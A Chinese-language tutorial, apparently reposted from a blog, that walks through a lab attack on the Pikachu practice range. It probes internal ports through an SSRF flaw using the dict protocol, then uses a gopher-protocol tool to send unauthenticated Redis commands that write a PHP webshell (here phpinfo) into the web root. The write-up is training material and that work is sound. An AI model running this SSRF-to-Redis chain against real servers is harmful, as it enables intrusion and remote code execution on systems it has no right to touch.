目录
关于ssrf攻击,传送门 -》SSRF漏洞原理与利用方式 。当我们检测出一个网站存在SSRF漏洞的时候,我们就可以探测当前主机开放的端口,而这些端口往往我们从外网是不能直接探测到的,所以可以尝试利用ssrf探测内网开放的端口。
漏洞利用前提:
- 知道网站根目录,这里假设知道了根目录
- 根目录具有写文件的权限
攻击环境设计
- 操作系统:win2012
- SSRF漏洞环境搭建,利用皮卡丘靶场
- redis-5.0.12 ,下载地址 https://download.redis.io/releases/redis-5.0.12.tar.gz?_ga=2.171625440.1941818366.1617076808-545428596.1617076808
redis服务器搭建
进入下载好的redis文件中找到redis.conf文件,将其中的 bind 127.0.01 取消注释,这样从外网就不能探测到redis端口
然后启动redis,需要携带配置文件启动,否则配置不生效
redis-server.exe ./redis.conf
此时我们扫描主机的端口,6379是显示没有开放。而这里我们就需要通过ssrf漏洞来探测外放不能探测到的内网端口
这里就成功搭建了一个内网的redis未授权访问
ssrf漏洞探测
进入到pikachu之ssrf漏洞,点击累了吧
发现其向另外一个链接发起了请求,此时可以利用dict协议来探测内网端口
dict探测内网端口
当本机开放了某个端口时,服务器立即响应进行页面刷新
当内网主机C未开放了某个端口时,页面会等到响应一段时间
根据这一点,我们判断出了内网开放了6379端口
利用gopher协议写入webshell
gopher协议规则比较复杂,这里需要工具生成gopher
https://github.com/firebroo/sec_tools
使用方法
编辑redis-over-gopher/redis.cmd
为redis执行的命令,一句命令一行,比如它给出的例子。config set dir 为web的根目录地址,这里写入phpinfo()
-
flushall
-
config set dir C:\\Users\\Administrator.WIN2012\\Desktop\\phpStudy\\WWW
-
config set dbfilename shell.php
-
set 'webshell' '
<?php phpinfo();?>
'
-
save
-
编辑好后运行redis-over-gopher/redis-over-gopher.py
将生成的payload复制下来,再进行一次url编码
直接在浏览器漏洞所在url访问payload,或者使用burp发送
此时查看。发现生成了shell.php文件,访问文件
转载:https://blog.csdn.net/qq_44159028/article/details/117034100